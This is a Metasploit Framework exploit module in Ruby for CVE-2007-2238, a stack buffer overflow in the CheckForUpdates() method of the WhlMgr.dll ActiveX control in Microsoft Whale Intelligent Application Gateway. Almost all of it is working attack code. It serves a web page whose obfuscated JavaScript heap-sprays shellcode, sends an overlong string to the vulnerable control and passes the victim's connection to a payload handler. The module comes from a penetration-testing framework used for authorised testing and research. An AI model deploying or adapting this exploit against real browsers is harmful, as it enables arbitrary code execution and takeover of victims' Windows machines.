|   1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126  |  ## # $Id: mswhale_checkforupdates.rb 9262 2010-05-09 17:45:00Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote  Rank = NormalRanking  include Msf::Exploit::Remote::HttpServer::HTML  def initialize(info = {})  super(update_info(info,  'Name' => 'Microsoft Whale Intelligent Application Gateway ActiveX Control Buffer Overflow',  'Description'=> %q{  This module exploits a stack buffer overflow in Microsoft Whale Intelligent Application  Gateway Whale Client. When sending an overly long string to CheckForUpdates()  method of WhlMgr.dll (3.1.502.64) an attacker may be able to execute  arbitrary code.  },  'License'=> MSF_LICENSE,  'Author' => [ 'MC' ],  'Version'=> '$Revision: 9262 $',  'References' =>  [  [ 'CVE', '2007-2238' ],  [ 'OSVDB', '53933'],  [ 'URL', 'http://technet.microsoft.com/en-us/library/dd282918.aspx' ],  ],  'DefaultOptions' =>  {  'EXITFUNC' => 'process',  },  'Payload'=>  {  'Space' => 1024,  'BadChars'=> "\x00",  },  'Platform' => 'win',  'Targets'=>  [  [ 'Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7', { 'Ret' => '' } ]  ],  'DisclosureDate' => 'Apr 15 2009',  'DefaultTarget'=> 0))  end  def autofilter  false  end  def check_dependencies  use_zlib  end  def on_request_uri(cli, request)  # Re-generate the payload.  return if ((p = regenerate_payload(cli)) == nil)  # fluff..  fluff = rand_text_english(rand(20) + 1)  # Encode the shellcode.  shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))  # Set the return.  ret = Rex::Text.uri_encode(Metasm::Shellcode.assemble(Metasm::Ia32.new, "or cl,[edx]").encode_string * 2)  js = %Q|  try {  var evil_string = "";  var index;  var vulnerable = new ActiveXObject('ComponentManager.Installer.1');  var my_unescape = unescape;  var shellcode = '#{shellcode}';  #{js_heap_spray}  sprayHeap(my_unescape(shellcode), 0x0a0a0a0a, 0x40000);  for (index = 0; index < 15000; index++) {  evil_string = evil_string + my_unescape('#{ret}');  }  vulnerable.CheckForUpdates(evil_string,'#{fluff}');  } catch( e ) { window.location = 'about:blank' ; }  |  opts = {  'Strings' => true,  'Symbols' => {  'Variables' => [  'vulnerable',  'shellcode',  'my_unescape',  'index',  'evil_string',  ]  }  }  js = ::Rex::Exploitation::ObfuscateJS.new(js, opts)  js.update_opts(js_heap_spray.opts)  js.obfuscate()  content = %Q|<html> <body> <script><!-- #{js} //</script> </body> </html> |  print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")  # Transmit the response to the client  send_response_html(cli, content)  # Handle the payload  handler(cli)  end end  |